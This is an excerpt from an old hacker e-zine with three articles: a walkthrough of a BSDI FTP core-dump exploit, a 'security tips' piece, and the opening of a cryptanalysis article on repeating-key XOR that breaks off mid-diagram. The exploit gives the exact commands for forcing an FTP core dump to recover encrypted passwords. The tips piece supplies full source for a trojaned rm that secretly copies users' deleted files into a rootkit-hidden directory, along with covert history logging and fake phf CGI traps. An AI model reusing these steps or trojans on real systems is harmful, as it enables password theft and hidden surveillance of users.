  863. At what point does the ntec ask the ess to idle trunk? Before setting levels.
  864.  
  865. ═────────────────────────────────────────────────────────────────────────────═
  866. BSDI FTP CORE DUMPS 
  867. by Bronc Buster 
  868. (www.showdown.org) 
  869. (bbuster@succeed.net)
  870.  
  871. It was over a year ago that I first reported my findings to BugTraqs,
  872. BSDI, and CERT about the potential security holes with BSDs core dumping
  873. problems. On the day of 3 Sept 97 BSDI finaly released a patch for this 
  874. hole, but as most of you know, most SysAdmins don't keep track of patchs
  875. and their release dates because everyone alawys thinks they are immune
  876. to attack. 
  877.  
  878. This hole uses the massive built in feature on BSD systems that they use
  879. to make their Unix version more stable and less prevy to crashing, Core 
  880. Dumps. By useing this function to force a core dump after accessing the
  881. password file you will be able to retreve encrypted passwords from the
  882. core dump. This only works on BSDI BSD/OS 2.X and NOT BSD 3.X.
  883.  
  884. How it works: you FTP in as a legit user, then stop the process and then
  885. kill it forcing a core dump. By forcing the dump after the FTP program 
  886. (wu ftpd 2.4 used) has accessed the password file it will dump the stack
  887. and all the information in it to a core dump file owned by that user in 
  888. the present working directory. I think the commands for this exploit are
  889. very easy to understand and are self explaintory.
  890.  
  891.  
  892.  
  893. main: {1} % ftp succeed.net       // FTP to localhost
  894. Connected to succeed.net.
  895. 220 main.succeed.net FTP server 
  896. (Version wu-2.4(2) Tue Jan 7 08:37:31 EST 1997)
  897. ready.
  898. Name (succeed.net:bbuster): bbuster     // Login as a user
  899. 331 Password required for bbuster.
  900. Password:
  901. 230 User bbuster logged in.
  902. Remote system type is UNIX.
  903. Using binary mode to transfer files.
  904. ftp> ^Z                                // Control Z and suspend it
  905. Suspended
  906. main: {2} % ps                        // Find PID number of FTP
  907.   PID  TT  STAT      TIME COMMAND
  908. 23875  p2  Is     0:00.13 -csh (csh)
  909. 23967  p2  S+     0:00.03 telnet localhost
  910. 23969  p3  Ss     0:00.10 -csh (csh)
  911. 23978  p3  T      0:00.02 ftp succeed.net
  912. 23989  p3  R+     0:00.01 ps
  913. main: {3} % kill -11 23978          // Kill -11 the FTP process
  914. main: {4} % fg                      // Call FTP back to Foreground
  915. ftp succeed.net
  916. Segmentation fault (core dumped)      // Dump the core
  917. main: {5} % strings ftp.core > test   // Stings it to a file for reading
  918. main: {6} % cat test                  // Get the passwords
  919.  
  920.  
  921. That's it. This is not the only problem with BSDI BSD/OS systems
  922. and their core dumps, there was the well known write tty core dump
  923. which essentialy did the same thing as this exploit does, but it was 
  924. patched much faster. 
  925.  
  926. Over all BDSI BSD/OS, all versions, are one of the most secure Unix 
  927. systems on the market today and when an exploit is found for it we
  928. must treat it like gold as BSDI is usualy very fast is fixing them.
  929.  
  930. Bronc Buster!!!
  931.  
  932. [EOF]
  933.  
  934. ═────────────────────────────────────────────────────────────────────────────═
  935. Security/Monitoring tools 
  936. by Shok
  937. (shok@sekurity.org)
  938.     
  939. Okay, well........welcome to this thing......by Shok. 
  940. What I plan for this to be, is some various utilities that you might think
  941. as of use and what not. This is mainly a few security tips that I like to
  942. use.
  943.  
  944. First off, edit your /etc/profile, and add the line:
  945. export HISTFILE=/tmp/hist/`whoami`
  946.  
  947. and then do:
  948. mkdir /tmp/hist;chmud 1777 /tmp/hist
  949.  
  950. You now want to hide that file, so the users don't see the dir (it can be
  951. seen with set but not too many people check :) and you hide it with the
  952. rootkit's ls.
  953.  
  954. Another few things I like to do.
  955. I made a trojaned 'rm' that basically calls /bin/rm.bak which is hidden
  956. (via rootkit ls), and it copies the file they are trying to delete to
  957. /tmp/fill (which is also hidden via rootkit ls). 
  958. There are two versions of this....I wrote the first one in shell script,
  959. but do to the fact it has to be a+r, I wrote it in C afterwords. Here is
  960. the rm.sh:
  961.  
  962. #!/bin/sh
  963. # rm.sh -- rm "trojan" by (--==+*~Shok~*+==--) 
  964. #
  965. # Email: shok@sekurity.org
  966.  
  967. if [ $# > 1 ] 
  968. then
  969.  
  970. case $1 in
  971. -i)
  972. shift
  973. cp -f $* /tmp/fill &>/dev/null
  974. doexec /bin/rm.bak rm -i $*
  975. ;;
  976. --interactive)
  977. shift
  978. cp -f $* /tmp/fill &>/dev/null
  979. doexec /bin/rm.bak rm -i $* 
  980. ;;
  981.  
  982. -f)
  983. shift
  984. cp -f $* /tmp/fill &>/dev/null
  985. /bin/rm.bak -f $*
  986. ;; 
  987. --force)
  988. shift
  989. cp -f $* /tmp/fill &>/dev/null
  990. /bin/rm.bak -f $* 
  991. ;;
  992.  
  993. -d)
  994. shift
  995. cp $1/* /tmp/fill &>/dev/null
  996. /bin/rm.bak -d $*
  997. ;; 
  998. --directory)
  999. shift
  1000. cp $1/* /tmp/fill &>/dev/null
  1001. /bin/rm.bak -d $* 
  1002. ;;
  1003.  
  1004. -v)
  1005. shift
  1006. cp -f $* /tmp/fill &>/dev/null
  1007. /bin/rm.bak -v $*
  1008. ;;
  1009. --verbose)
  1010. shift
  1011. cp -f $* /tmp/fill &>/dev/null
  1012. /bin/rm.bak -v $* 
  1013. ;;
  1014.  
  1015. -r)
  1016. shift
  1017. cp -f $1/* /tmp/fill &>/dev/null
  1018. /bin/rm.bak -R $*
  1019. ;; 
  1020. -R)
  1021. shift
  1022. cp -f $1/* /tmp/fill &>/dev/null
  1023. /bin/rm.bak -R $*
  1024. ;; 
  1025. --recursive)
  1026. shift
  1027. cp -f $1/* /tmp/fill &>/dev/null
  1028. /bin/rm.bak -R $* 
  1029. ;;
  1030.  
  1031. -ri)
  1032. shift
  1033. cp -f $1/* /tmp/fill &>/dev/null
  1034. /bin/rm.bak -ri $*
  1035. ;;
  1036. -Ri)
  1037. shift
  1038. cp -f $1/* /tmp/fill &>/dev/null
  1039. /bin/rm.bak -ri $*
  1040. ;;
  1041.  
  1042. -rf)
  1043. shift
  1044. cp -f $1/* /tmp/fill &>/dev/null
  1045. cp -f $1 /tmp/fill &>/dev/null  
  1046. /bin/rm.bak -rf $*
  1047. ;;
  1048. -Rf)
  1049. shift
  1050. cp -f $1/* /tmp/fill &>/dev/null
  1051. cp -f $1 /tmp/fill &>/dev/null
  1052. /bin/rm.bak -rf $*
  1053. ;;
  1054.  
  1055. -rd)
  1056. shift
  1057. cp -f $1/* /tmp/fill &>/dev/null
  1058. /bin/rm.bak -rd $*
  1059. ;;
  1060. -Rd)
  1061. shift
  1062. cp -f $1/* /tmp/fill &>/dev/null
  1063. /bin/rm.bak -rd $*
  1064. ;;
  1065.  
  1066. -Rv)
  1067. shift
  1068. cp -f $1/* /tmp/fill &>/dev/null
  1069. /bin/rm.bak -rv $*
  1070. ;;
  1071. -rv)
  1072. shift
  1073. cp -f $1/* /tmp/fill &>/dev/null
  1074. /bin/rm.bak -rv $*
  1075. ;;
  1076.  
  1077. -fv)
  1078. shift
  1079. cp -f $1 /tmp/fill &>/dev/null
  1080. /bin/rm.bak -fv $*
  1081. ;;
  1082.  
  1083. -Rfv)
  1084. shift
  1085. cp -f $1/* /tmp/fill &>/dev/null
  1086. cp -f $1   /tmp/fill &>/dev/null
  1087. /bin/rm.bak -rfv $*
  1088. ;;
  1089. -rfv)
  1090. shift
  1091. cp -f $1/* /tmp/fill &>/dev/null
  1092. cp -f $1   /tmp/fill &>/dev/null
  1093. /bin/rm.bak -rfv $*
  1094. ;;
  1095.  
  1096. *)
  1097. cp -f $* /tmp/fill &>/dev/null
  1098. /bin/rm.bak $*
  1099. ;;
  1100. esac
  1101.  
  1102. else
  1103.  
  1104. IT=$1
  1105. cp -f $IT /tmp/fill
  1106. /bin/rm.bak $IT
  1107. fi
  1108. #----------------------------------------------------
  1109.  
  1110. You may have to change the line:
  1111. doexec /bin/rm.bak -i $*
  1112.  
  1113. to:
  1114. /bin/rm.bak -i $* 
  1115. if you do not have doexec which is on linux (or redhat anyway)
  1116.  
  1117.  
  1118.  
  1119. Now for rm.c:
  1120.  
  1121. /* ------------------------------------------------------ */
  1122. /* rm.c -- rm "trojan" by (--==+*~Shok~*+==--)            */
  1123. /* ------------------------------------------------------ */
  1124. /* Email: shok@sekurity.org                    */
  1125.  
  1126. #include <sys/stat.h>
  1127. #include <string.h>
  1128. #include <stdio.h>
  1129. #include <stdlib.h> 
  1130. #include <unistd.h>
  1131.  
  1132.  
  1133. void main(int argc, char **argv)
  1134. {
  1135.   struct stat filestats;
  1136.   int i;
  1137.   if (argc > 2) 
  1138.     {
  1139.         if (strcmp("-i", argv[1])==0) goto interactive;
  1140.         if (strcmp("-f", argv[1])==0) goto force;
  1141.         if (strcmp("-v", argv[1])==0) goto verbose;
  1142.         if (strcmp("-r", argv[1])==0) goto recursive;
  1143.         if (strcmp("-rf", argv[1])==0) goto rf;
  1144.         if (strcmp("-ri", argv[1])==0) goto ri;
  1145.         if (strcmp("-rv", argv[1])==0) goto rv;
  1146.         if (strcmp("-rvf", argv[1])==0) goto rfv;
  1147.         if (strcmp("-rfv", argv[1])==0) goto rfv;
  1148.         if (strcmp("-Rvf", argv[1])==0) goto rfv;
  1149.         if (strcmp("-Rfv", argv[1])==0) goto rfv;
  1150.         if (strcmp("-frv", argv[1])==0) goto rfv;
  1151.         if (strcmp("-fvr", argv[1])==0) goto rfv;
  1152.         if (strcmp("-fRv", argv[1])==0) goto rfv;
  1153.         if (strcmp("-fvR", argv[1])==0) goto rfv;
  1154.         if (strcmp("-vfr", argv[1])==0) goto rfv;
  1155.         if (strcmp("-vrf", argv[1])==0) goto rfv;
  1156.         if (strcmp("-vfR", argv[1])==0) goto rfv;
  1157.         if (strcmp("-vRf", argv[1])==0) goto rfv;
  1158.         if (strcmp("-fr", argv[1])==0) goto rf;
  1159.         if (strcmp("-ir", argv[1])==0) goto ri;
  1160.         if (strcmp("-vr", argv[1])==0) goto rv;
  1161.         
  1162.         if (strcmp("--interactive", argv[1])==0) goto interactive;
  1163.         if (strcmp("--force", argv[1])==0) goto force;
  1164.         if (strcmp("--verbose", argv[1])==0) goto verbose;
  1165.         if (strcmp("--recursive", argv[1])==0) goto recursive;
  1166.     } 
  1167.  
  1168.   else {
  1169.     setenv("PROGRAM", argv[1], 1);
  1170.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1171.     system("/bin/rm.bak $PROGRAM");
  1172.     unsetenv("PROGRAM");
  1173.   }
  1174.  
  1175.  
  1176. interactive:
  1177.  
  1178.   lstat(argv[2], &filestats);
  1179.   for (i=2;i<argc;i++) 
  1180.   {
  1181.      if (S_ISDIR(filestats.st_mode))
  1182.      {
  1183.         setenv("PROGRAM", argv[i], 2);
  1184.         system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  1185.         unsetenv("PROGRAM");
  1186.         execl("/bin/rm.bak","rm","-i",argv[2],NULL);
  1187.      } 
  1188.  
  1189.      else 
  1190.         {
  1191.         setenv("PROGRAM", argv[2], 1);
  1192.         system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1193.         unsetenv("PROGRAM");
  1194.         execl("/bin/rm.bak","rm","-i",argv[2],NULL);
  1195.         }    
  1196.   }
  1197.  
  1198.   
  1199. force:
  1200.  
  1201.   for (i=2;i<argc;i++) 
  1202.   {
  1203.     setenv("PROGRAM", argv[i], 1);
  1204.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1205.     execl("/bin/rm.bak","rm","-f",argv[i],NULL);
  1206.     unsetenv("PROGRAM");
  1207.  
  1208.   }
  1209.  
  1210.  
  1211. verbose:
  1212.   for (i=2;i<argc;i++) 
  1213.   {
  1214.     setenv("PROGRAM", argv[i], 1);
  1215.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1216.     execl("/bin/rm.bak","rm","-v",argv[i],NULL);
  1217.     unsetenv("PROGRAM");
  1218.   }
  1219.  
  1220. recursive:
  1221.   for (i=2;i<argc;i++) 
  1222.   {
  1223.     setenv("PROGRAM", argv[i], 1);
  1224.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1225.     execl("/bin/rm.bak","rm","-r",argv[i],NULL);
  1226.     unsetenv("PROGRAM");
  1227.   }
  1228.  
  1229. rf:
  1230.  
  1231.   for (i=2;i<argc;i++) 
  1232.   {
  1233.     lstat(argv[i], &filestats);
  1234.     if (S_ISDIR(filestats.st_mode))
  1235.     {
  1236.         setenv("PROGRAM", argv[i], 1);
  1237.         system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  1238.         unsetenv("PROGRAM");
  1239.         execl("/bin/rm.bak","rm","-rf",argv[i],NULL);
  1240.     }
  1241.     else 
  1242.     {
  1243.         setenv("PROGRAM", argv[i], 1);
  1244.         system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1245.         unsetenv("PROGRAM");
  1246.         execl("/bin/rm.bak","rm","-rf",argv[i],NULL);
  1247.     }
  1248.   } 
  1249.  
  1250.  
  1251. ri:
  1252.  
  1253.   for (i=2;i<argc;i++) 
  1254.   {
  1255.     setenv("PROGRAM", argv[i], 1);
  1256.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1257.     execl("/bin/rm.bak","rm","-ri",argv[i],NULL);
  1258.     unsetenv("PROGRAM");
  1259.   }
  1260.  
  1261.  
  1262. rv:
  1263.  
  1264.   for (i=2;i<argc;i++) 
  1265.   {
  1266.     setenv("PROGRAM", argv[i], 1);
  1267.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1268.     execl("/bin/rm.bak","rm","-rv",argv[i],NULL);
  1269.     unsetenv("PROGRAM");
  1270.   }
  1271.  
  1272. rfv:
  1273.  
  1274.   for (i=2;i<argc;i++) 
  1275.   {
  1276.     setenv("PROGRAM", argv[i], 1);
  1277.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1278.     execl("/bin/rm.bak","rm","-rfv",argv[i],NULL);
  1279.     unsetenv("PROGRAM");
  1280.   }
  1281.  
  1282. }
  1283.  
  1284. This program can of course be improved, especially replacing the strcmp's
  1285. with getopt() but I could care less....
  1286.  
  1287. Now when ever a user deletes something it will first be copied to
  1288. /tmp/fill before it's deleted.
  1289.  
  1290. Now, even though it's logged to /var/log/httpd/access_log, I'd like to
  1291. know right away when someone tries to use the phf or test-cgi
  1292. vulnerabilities on me. So I replaced the phf and test-cgi programs in my
  1293. /cgi-bin/ with this. The first will get the info on who it is, then it
  1294. will send a fake passwd file. This can be improved of course but I don't
  1295. care to take the time. 
  1296.  
  1297. phf.c:
  1298.  
  1299.  
  1300. /* ----------------------------------------------------- */
  1301. /* phf "trojan" by (--==+*~Shok~*+==--)            */
  1302. /* ----------------------------------------------------- */
  1303. /* Email: shok@sekurity.org                   */
  1304.  
  1305. #include <stdio.h>
  1306. #include <unistd.h>
  1307. #include <stdlib.h>
  1308. void main()
  1309. { 
  1310.  
  1311. FILE *tmpfile, *fingerinfo;
  1312. char *host, *addr, *browser, *query_string;
  1313. char fingerbuf[2048];
  1314.  
  1315. host=getenv("REMOTE_HOST"); 
  1316. addr=getenv("REMOTE_ADDR");
  1317. browser=getenv("HTTP_USER_AGENT");
  1318. query_string=getenv("QUERY_STRING"); 
  1319.  
  1320. /* This is to prevent a finger war, the ip address below is my ip address */
  1321. /* just to be on the safe side. But I do have in.fingerd: LOCAL to allow  */
  1322. /* me to finger without starting a finger war.                     */
  1323. if ((strcmp(addr, "206.71.69.243")) || (strcmp(addr,"127.0.0.1")) == 0) exit(0); 
  1324.  
  1325. system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo1");
  1326.  
  1327. tmpfile=fopen("/var/tmp/.phf", "w"); 
  1328. fingerinfo=fopen("/var/tmp/.fingerinfo1", "r");
  1329.  
  1330. fprintf(tmpfile, "The following person used phf!!\n\n");
  1331. fprintf(tmpfile, "\tHost: %s\n", host);
  1332. fprintf(tmpfile, "\tAddress: %s\n", addr);
  1333. fprintf(tmpfile, "\tBrowser type: %s\n", browser);
  1334. fprintf(tmpfile, "\tQuery String (aka command entered): %s\n\n", query_string); 
  1335.  
  1336. fingerinfo=fopen("/var/tmp/.fingerinfo1", "r");
  1337. fgets(fingerbuf, 2047, fingerinfo);
  1338. fclose(fingerinfo);
  1339.  
  1340.  
  1341. fprintf(tmpfile, "I did a finger of the person trying to exploit us:\n");
  1342. fprintf(tmpfile, "--------------------------------------------------\n");
  1343. fputs(fingerbuf, tmpfile);
  1344.  
  1345. fclose(tmpfile);
  1346.  
  1347. system("mail -s \"SOMEONE USED phf!!\" root </var/tmp/.phf");
  1348.  
  1349. unlink("/var/tmp/.fingerinfo1");
  1350. unlink("/var/tmp/.phf"); 
  1351.  
  1352. printf("Content-type: text/html\n\n");
  1353. printf("<H1>Query Results</H1>\n");
  1354. printf("<P>\n");
  1355. printf("/usr/local/bin/ph -m  alias=x \n");
  1356. printf("cat /etc/passwd\n");
  1357. printf("<PRE>\n");
  1358. printf("root:TQoabYuFUSoSk:0:1:Operator:/:/bin/csh\n");
  1359. printf("nobody:*:65534:65534::/:\n");
  1360. printf("daemon:*:1:1::/:\n");
  1361. printf("sys:*:2:2::/:/bin/csh\n");
  1362. printf("bin:*:3:3::/bin:\n");
  1363. printf("uucp:*:4:8::/var/spool/uucppublic:\n");
  1364. printf("news:*:6:6::/var/spool/news:/bin/csh\n");
  1365. printf("ingres:*:7:7::/usr/ingres:/bin/csh\n");
  1366. printf("mail:*:8:12::/:\n");
  1367. printf("johnny:Abx4dgSg:MaTr|x:/home/MaTrix:/bin/sh\n");
  1368. printf("audit:*:9:9::/etc/security/audit:/bin/csh\n");
  1369. printf("sync::1:1::/:/bin/sync\n");
  1370. printf("kill8r:AfBs45Syf:100:25:Siko:/home/Siko:/bin/sh\n");
  1371. printf("ppp::70:70:PPP login:/tmp:/etc/ppplogin\n");
  1372. printf("sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag\n");
  1373. printf("sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag\n");
  1374. printf("ftp:*:10:20:ftp:/home/ftp:/usr/bin/bash\n");
  1375. printf("luseruser:xAFjgodjFa4:254:100:Pr0t0:/home/Pr0t0c0l:/bin/sh\n");
  1376. printf("babum:aDtg3Gs645:BiT-#hacker:454:100:/home/BiT:/bin/sh\n");
  1377. printf("www:*:30:30:World Wide Web:/home/www:/usr/bin/bash\n");
  1378. printf("pop:*:70:70:Post Office Protocol:/var/spool/pop:/usr/bin/bash\n");
  1379. printf("zirzlaff:.a6RPNtUhGW0k:3190:100:Torsten Zirzlaff:/home/tz:/usr/local/bin/tcsh\n");
  1380. printf("f33r:A23gAdcYf5:4110:100:f33r me bitch:/home/hph:/usr/local/bin/tcsh\n");
  1381. printf("henrik:v50YvKjFwWw.M:4120:18:HeNriK:/usr/sirius/henrik:/usr/bin/bash\n");
  1382. printf("inas:fStcY3^gf:8900:100:InaSaLoser:/home/is:/usr/local/bin/tcsh\n");
  1383. printf("ivo:*:8920:100:Da Tru hacker-Lamer:/home/ivo:/usr/local/bin/tcsh\n");
  1384. printf("pcguest::7454:100:Temp hax0r account:/tmp:/usr/bin/sh\n");
  1385. printf("simone:Em8y0pwT.5umo:8930:100:Simone Kleine:/home/simone:/usr/bin/bash\n");
  1386. printf("shko:aDrsBsefYr:666:100:SHLRP:/home/shok:/bin/bash\n");
  1387. printf("majordomo:*:405:20:Majordomo server:/dev/null:/bin/startdomo\n");
  1388. printf("listserv:*:567:20:Listserv server:/dev/null:/bin/sh\n");
  1389. printf("hammer:FwhX26Hf1:8940:100:Peter Hammerstein:/home/hammer:/usr/bin/bash\n");
  1390. printf("patrick:cYz7MXTIyGByQ:8950:100:Patrick Mergell:/home/patrick:/usr/bin/bash\n");
  1391. printf("chr:T/SRcchg0fK3I:8960:100:Christian Zemlin:/home/chr:/usr/bin/bash\n");
  1392. printf("db:*:8970:100:Dieter Beule:/usr/sirius/dieter:/usr/bin/bash\n");
  1393. printf("guest:AefxF2a2D:8999:110:Guest:/home/guest:/usr/local/bin/tcsh\n");
  1394. printf("</PRE>");
  1395. }                    
  1396.  
  1397. This is what the above will show up in the root's mail:
  1398.  
  1399.  
  1400. The following person used phf!!
  1401.  
  1402.        Host: ts037d12.chi-il.concentric.net
  1403.        Address: 206.173.188.168
  1404.        User (if able): (null)
  1405.        Ident (if able): (null)
  1406.        Browser type: (null)
  1407.        Query String (aka command entered): Qalias=X%0aid
  1408.  
  1409. I did a finger of the person trying to exploit us:
  1410. --------------------------------------------------
  1411. [206.173.188.168]
  1412. (probably Win95 which is why there was no output as Win95 doesn't have an
  1413. actual "finger" program)
  1414.  
  1415.  
  1416.  
  1417.  
  1418. Now for the test-cgi...this does the same thing accept it will send a 
  1419. "File Not found" instead:
  1420.  
  1421. test-cgi.c:
  1422.  
  1423. /* --------------------------------------------------- */
  1424. /* test-cgi.c -- test-cgi "trojan" by --==+*~Shok~+*-- */
  1425. /* --------------------------------------------------- */
  1426. /* Email: shok@sekurity.org                    */
  1427.  
  1428. #include <stdio.h>
  1429. #include <unistd.h>
  1430. #include <stdlib.h>
  1431.  
  1432. void main(void)
  1433. { 
  1434.   FILE *tmpfile, *fingerinfo;
  1435.   char *host *addr, *browser, *query_string;
  1436.   char fingerbuf[2048];
  1437.  
  1438.   host=getenv("REMOTE_HOST"); 
  1439.   addr=getenv("REMOTE_ADDR");
  1440.   browser=getenv("HTTP_USER_AGENT");
  1441.   query_string=getenv("QUERY_STRING"); 
  1442.  
  1443.   /* This is to prevent a finger war, for safety, even though you SHOULD  */
  1444.   /* have in.fingerd: LOCAL in your hosts.allow                    */
  1445.  
  1446.   if ((strcmp(addr, "206.71.69.243")) || (strcmp(addr,"127.0.0.1")) == 0) exit(0);
  1447.   system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo");
  1448.  
  1449.   tmpfile=fopen("/var/tmp/.test-cgi", "w");
  1450.   fprintf(tmpfile, "The following person used phf:\n\n");
  1451.   fprintf(tmpfile, "\tHost: %s\n", host);
  1452.   fprintf(tmpfile, "\tAddress: %s\n", addr);
  1453.   fprintf(tmpfile, "\tBrowser type: %s\n ", browser);
  1454.   fprintf(tmpfile, "\tQuery String (aka command entered): %s\n\n", query_string);
  1455.   fingerinfo=fopen("/var/tmp/.fingerinfo", "r");
  1456.   fgets(fingerbuf, 2047, fingerinfo); 
  1457.   fclose(fingerinfo);
  1458.  
  1459.  
  1460.   fprintf(tmpfile, "I did a finger of the person trying to exploit us:\n");
  1461.   fprintf(tmpfile, "--------------------------------------------------\n");
  1462.   fputs(fingerbuf, tmpfile);
  1463.  
  1464.   fclose(tmpfile);
  1465.  
  1466.   /* REPLACE THIS PART WITH WHO YOU WANT TO MAIL IT TO change the root to */
  1467.   /* to whatever you want                                */
  1468.  
  1469.   system("mail -s \"SOMEONE USED test-cgi!!\" root < /var/tmp/.test-cgi");
  1470.  
  1471.   unlink("/var/tmp/.fingerinfo"); 
  1472.   unlink("/var/tmp/.test-cgi"); 
  1473.  
  1474.   printf("Content-type: text/html\n\n");
  1475.   printf("<h2>File Not found\n</h2>");
  1476.   printf("The requested URL /cgi-bin/test-cgi was not found on this server.");
  1477.  
  1478. } 
  1479.  
  1480.  
  1481.  
  1482. Just as an added bonus here.........
  1483. When someone goes to a directory you have .htaccess in, it will send 401,
  1484. which is the unauthorized error code (pretty sure it's 401 but not in the
  1485. mood to check). Now I editted my srm.conf (usually
  1486. /usr/local/etc/httpd/conf/srm.conf), and added this line:
  1487.  
  1488. ErrorDocument 401   /cgi-bin/unauthorized.cgi
  1489.  
  1490. This is basically like the one above.......except it differs
  1491. by the the 'user' part, which lets you know what user it was...this is a
  1492. good way to know if there is an unauthorized attempt, and/or what user is
  1493. logging into your webpage that is secured......
  1494.  
  1495. unauthorized.c:
  1496.  
  1497.  
  1498. /* -------------------------------------------------------- */
  1499. /* Unauthorized cgi "trojan" script by (--==+*~Shok~*+==--) */
  1500. /* -------------------------------------------------------- */
  1501. /* Email: shok@sekurity.org                      */
  1502.  
  1503. #include <stdio.h>
  1504. #include <unistd.h>
  1505. #include <stdlib.h>
  1506. void main(void)
  1507. {
  1508.   FILE *tmpfile, *fingerinfo;
  1509.   char *host, *addr, *user, *ident, *browser, *query_string;
  1510.   char fingerbuf[2048];
  1511.  
  1512.   host=getenv("REMOTE_HOST");
  1513.   addr=getenv("REMOTE_ADDR");
  1514.   user=getenv("REMOTE_USER");
  1515.   ident=getenv("REMOTE_IDENT");
  1516.   browser=getenv("HTTP_USER_AGENT");
  1517.   query_string=getenv("QUERY_STRING");
  1518.  
  1519.   /* This can get ugly */
  1520.   if ((strcmp(addr, "206.71.69.243"))==0) exit(0);
  1521.  
  1522.   system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo");
  1523.  
  1524.   tmpfile=fopen("/var/tmp/.unauthorized", "w");
  1525.   fprintf(tmpfile, "The following person has unauthorized access:\n\n");
  1526.   fprintf(tmpfile, "\tHost: %s\n", host);
  1527.   fprintf(tmpfile, "\tAddress: %s\n", addr);
  1528.   fprintf(tmpfile, "\tUser (if able): %s\n", user);
  1529.   fprintf(tmpfile, "\tIdent (if able): %s\n", ident);
  1530.   fprintf(tmpfile, "\tBrowser type: %s\n ", browser);
  1531.   fingerinfo=fopen("/var/tmp/.fingerinfo", "r");
  1532.   fgets(fingerbuf, 2047, fingerinfo);
  1533.   fclose(fingerinfo);
  1534.  
  1535.  
  1536.   fprintf(tmpfile, "I did a finger of the person:\n");
  1537.   fprintf(tmpfile, "-----------------------------\n");
  1538.   fputs(fingerbuf, tmpfile);
  1539.  
  1540.   fclose(tmpfile);
  1541.  
  1542.   system("mail -s \"Somone tried unauthorized access\" root </var/tmp/.unauthorized");
  1543.  
  1544.   unlink("/var/tmp/.fingerinfo");
  1545.   unlink("/var/tmp/.unauthorized");
  1546.  
  1547.   printf("Content-type: text/html\n\n");
  1548.   printf("<HEAD><TITLE>Unauthorized</TITLE></HEAD>");
  1549.   printf("<BODY><H1>Unauthorized</H1>");
  1550.   printf("You are unauthorized and unwanted here.\n Go away <FONT COLOR=\"red\">d0rk</FONT><P>");
  1551.   printf("</BODY>");
  1552.  
  1553. }
  1554.  
  1555.  
  1556. Here is my hosts.deny too.........in case you wanted to see it ;)
  1557. ALL: .cc.edu: /bin/mail -s "%h from CC.EDU tried to access us!!" root
  1558. ALL: .gov, .mil: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "GOV/MIL ATTEMPTED ACCESS from %h!! Using %s." root &
  1559. in.telnetd: ALL: /bin/mail -s "%h tried to telnet in" root
  1560.  
  1561. #FINGER - Noisy people
  1562. #------------
  1563. in.fingerd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FINGER ATTEMPT FROM %h" root & 
  1564.  
  1565. #Security reasons
  1566. #---------------
  1567. in.ftpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FTP ATTEMPT FROM %h" root &
  1568. in.rlogind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RLOGIN ATTEMPT FROM %h" root &
  1569. #in.telnetd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "TELNET ATTEMPT FROM %h" root &
  1570.  
  1571. # PORTMAP 
  1572. #-------------
  1573. portmap: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "PORTMAP ATTEMPT FROM %h. Using %s" root &
  1574.  
  1575. #COMSAT
  1576. in.comsat:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "COMSAT ATTEMPT FROM %h" root &
  1577.  
  1578. #REXECD
  1579. in.rexecd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "REXEC ATTEMPT FROM %h" root &
  1580.  
  1581. #RSHD
  1582. in.rshd:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RSHD ATTEMPT FROM %h" root &
  1583.  
  1584. #NNRPD
  1585. in.nnrpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "NNRPD ATTEMPT FROM %h" root &
  1586.  
  1587. #RPCBIND
  1588. rpcbind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RPCBIND ATTEMPT FROM %h. Using %s" root &
  1589.  
  1590. #ALL: paranoid
  1591.  
  1592.  
  1593. Well.......................................we're winding down to the end.
  1594.  
  1595. It has been fun and I don't have much more to say on this article.
  1596. Thanks for reading, please feel free to use and distribute this, although
  1597. I wish for you to leave my comments and "header" at the tops ... ya know
  1598. my "copyright" :) 
  1599.  
  1600. You can access a few of my things at ftp.janova.org (in pub) or
  1601. www.janova.org. 
  1602.  
  1603. ═────────────────────────────────────────────────────────────────────────────═
  1604. Cryptanalytic Attacks on Repeating Key Algorithms
  1605. by The Messiah
  1606.  
  1607. CONTENTS:
  1608.     * Introduction
  1609.     * Background
  1610.     * Methods Of Attack
  1611.     * BadCrypt v1.0
  1612.     * GeneriCrack for DOS v1.0
  1613.     * Prevention
  1614.  
  1615. INTRODUCTION:
  1616.     Bruce Schneier published an essay called "Why Crypto Is Harder Than It 
  1617. Looks." It's true, designing a secure algorithm is MUCH harder than breaking 
  1618. one. This article is about breaking programs which use a repeating key. 
  1619. Credit should go out to Kent Briggs, whose WinCrack program opened doors for 
  1620. me into cryptanalysis. His code is also at the heart of GeneriCrack for DOS, 
  1621. altered quite a bit, however.
  1622.  
  1623. BACKGROUND:
  1624.     What is cryptanalwhatever? Cryptanalysis is the art of decoding 
  1625. encrypted messages without the key, or algorithm. In 1994, PC Mag released a 
  1626. program by Jeff Prosise called WinCrypt. It created a 512-byte block derived 
  1627. from a passphrase, then XOR'd (eXclusive OR) each 512-byte block of the 
  1628. plaintext with the key block.
  1629.  
  1630.     |------Key Block-----|
  1631.               XOR
  1632.     |------Plaintext-----|--------------------|--------------------|--------------------|
  1633.              equals
  1634.        |-----Ciphertext-----|
  1635.  
  1636.  
  1637.  
  1638.                         |------Key Block-----|
  1639.                                 XOR
